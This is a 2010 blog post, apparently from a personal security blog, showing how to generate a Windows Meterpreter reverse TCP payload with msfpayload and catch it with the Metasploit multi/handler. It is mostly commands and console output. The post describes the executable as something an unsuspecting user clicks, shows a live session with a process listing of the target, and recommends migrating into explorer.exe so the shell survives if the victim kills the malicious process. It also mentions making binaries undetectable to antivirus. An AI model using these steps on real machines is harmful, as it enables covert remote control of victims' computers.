Payloads and Metasploit

May 31, 2010 at 8:57 pm (Metasploit, Security)

Hey,

I have been playing around with the Metasploit Framework over the weekend. Something I found rather interesting was the msfpayload tool. I will show you how to create a TCP reverse connect shell for windows machines. Be aware that these binaries will be detected by Anti Virus software. There are quite a lot of tutorials around on the web that talk about making binaries undetectable to Anti Virus software. Maybe in the not so distant future I will write a post about it, but for now onto creating the payload…

root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.65 LPORT=4444 X > payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.1.65,LPORT=4444
root@bt:/pentest/exploits/framework3#

This will create a binary called payload.exe that when an unsuspecting user clicks on will open a remote TCP connection to: 192.168.1.65 on port 4444. Now on that machine what you want to have already running is:

root@bt:/pentest/exploits/framework3# ./msfconsole

=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 553 exploits - 263 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
=[ svn r9381 updated today (2010.05.30)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.65
LHOST => 192.168.1.65
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.65:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes) to 192.168.1.64
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.64:61267) at Mon May 31 21:38:53 +0100 2010

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System
272 smss.exe
372 csrss.exe
424 wininit.exe
456 csrss.exe
480 services.exe
520 winlogon.exe
532 lsass.exe
540 lsm.exe
656 svchost.exe
720 nvvsvc.exe
760 svchost.exe
848 svchost.exe
916 svchost.exe
944 svchost.exe
360 svchost.exe
1016 nvvsvc.exe
1148 svchost.exe
1328 spoolsv.exe
1356 svchost.exe
1532 MDM.EXE
1584 ccsvchst.exe
1664 vmware-usbarbitrator.exe
1244 vmnat.exe
1232 vmware-authd.exe
1808 taskhost.exe x64 1 workstation\zoidberg C:\Windows\System32\taskhost.exe
1108 ccsvchst.exe x86 1
1684 vmnetdhcp.exe
2696 svchost.exe
204 dwm.exe x64 1 workstation\zoidberg C:\Windows\System32\dwm.exe
2852 explorer.exe x64 1 workstation\zoidberg C:\Windows\explorer.exe
2916 sidebar.exe x64 1 workstation\zoidberg C:\Program Files\Windows Sidebar\sidebar.exe
364 jusched.exe x86 1 workstation\zoidberg C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
732 hqtray.exe x86 1 workstation\zoidberg C:\Program Files (x86)\VMware\VMware Player\hqtray.exe
2404 SearchIndexer.exe
2036 svchost.exe
3144 wmpnetwk.exe
3228 svchost.exe
3840 Azureus.exe x86 1 workstation\zoidberg C:\Program Files (x86)\Vuze\Azureus.exe
2936 firefox.exe x86 1 workstation\zoidberg C:\Program Files (x86)\Mozilla Firefox\firefox.exe
612 SearchProtocolHost.exe
1088 SearchFilterHost.exe
2408 cmd.exe x64 1 workstation\zoidberg C:\Windows\System32\cmd.exe
2676 conhost.exe x64 1 workstation\zoidberg C:\Windows\System32\conhost.exe
4052 payload.exe x86 1 workstation\zoidberg C:\Users\zoidberg\Downloads\payload.exe
3360 NETSTAT.EXE x64 1 workstation\zoidberg C:\Windows\System32\NETSTAT.EXE
3772 Bubbles.scr x64 1 workstation\zoidberg C:\Windows\System32\Bubbles.scr

meterpreter > migrate 2852
[*] Migrating to 2852...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer: WORKSTATION
OS : Windows 7 (Build 7600, ).
Arch : x64
Language: en_GB
meterpreter >

As you can see, it sits there waiting for a connection on port 4444 if it receives a connection then it will drop a meterprerter shell.

Issuing the migrate pid command above in the meterpreter shell basically migrates the process from the binary which we originally connected on to the explorer.exe process (which is the current logged in users sessions process). So now our meterprerter shell will stay open until the user logs out. This is a good trick in case the user notices that the binary was malicious and kills any abnormal processes.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: